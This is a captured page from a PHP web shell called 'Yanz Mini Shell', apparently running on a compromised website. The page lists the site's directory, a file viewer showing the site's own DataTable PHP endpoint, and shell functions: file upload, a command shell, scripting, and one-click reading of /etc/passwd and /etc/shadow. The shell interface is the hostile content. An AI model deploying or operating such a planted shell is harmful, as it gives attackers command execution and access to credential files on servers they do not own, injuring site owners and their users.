Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
sparkline
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php require_once '../../config/config.php'; try { $isExport = isset($_GET['isExport']) && $_GET['isExport'] === 'true'; $limit = isset($_GET['length']) ? (int)$_GET['length'] : 10; $offset = isset($_GET['start']) ? (int)$_GET['start'] : 0; $orderColumnIndex = isset($_GET['order'][0]['column']) ? (int)$_GET['order'][0]['column'] : 0; $orderDir = isset($_GET['order'][0]['dir']) && in_array(strtolower($_GET['order'][0]['dir']), ['asc', 'desc']) ? $_GET['order'][0]['dir'] : 'asc'; $searchValue = isset($_GET['search']['value']) ? trim($_GET['search']['value']) : ''; $status = isset($_GET['status']) ? $_GET['status'] : ""; // Columns expected by DataTable, adjust based on frontend column order $columns = [ 'id', 'image', 'project_name', 'category_id', 'price', 'district_id', 'area_name', 'type', 'status', 'description', 'created_at' ]; $orderBy = isset($columns[$orderColumnIndex]) ? $columns[$orderColumnIndex] : 'id'; // WHERE clause construction $whereClauses = ['1=1']; $bindings = []; if (!empty($status)) { $whereClauses[] = "status = :status"; $bindings[':status'] = $status; } if (!empty($searchValue)) { $whereClauses[] = "(project_name LIKE :search OR description LIKE :search OR area_name LIKE :search)"; $bindings[':search'] = "%{$searchValue}%"; } $whereClause = "WHERE " . implode(" AND ", $whereClauses); // Main data query $sqlData = "SELECT id, project_name, category_id, price, district_id, area_name, type, status, description, image, created_at FROM projects $whereClause ORDER BY $orderBy $orderDir"; if (!$isExport) { $sqlData .= " LIMIT :limit OFFSET :offset"; } $stmt = $pdo->prepare($sqlData); // Bind filters foreach ($bindings as $key => $value) { $stmt->bindValue($key, $value, PDO::PARAM_STR); } if (!$isExport) { $stmt->bindValue(':limit', $limit, PDO::PARAM_INT); $stmt->bindValue(':offset', $offset, PDO::PARAM_INT); } $stmt->execute(); $data = $stmt->fetchAll(PDO::FETCH_ASSOC); // Total records $totalRecords = $pdo->query("SELECT COUNT(*) FROM projects")->fetchColumn(); // Total filtered $sqlFiltered = "SELECT COUNT(*) FROM projects $whereClause"; $stmtFiltered = $pdo->prepare($sqlFiltered); foreach ($bindings as $key => $value) { $stmtFiltered->bindValue($key, $value, PDO::PARAM_STR); } $stmtFiltered->execute(); $totalFilteredRecords = $stmtFiltered->fetchColumn(); $response = $isExport ? ["data" => $data, "export" => true] : [ "draw" => isset($_GET['draw']) ? (int)$_GET['draw'] : 0, "recordsTotal" => (int)$totalRecords, "recordsFiltered" => (int)$totalFilteredRecords, "data" => $data ]; echo json_encode($response); } catch (PDOException $e) { http_response_code(500); echo json_encode(["error" => "Database error: " . $e->getMessage()]); error_log("Database error: " . $e->getMessage()); exit; } catch (Exception $e) { http_response_code(500); echo json_encode(["error" => "Unexpected error: " . $e->getMessage()]); error_log("Error: " . $e->getMessage()); exit; }
Free Space : 11551141888 Byte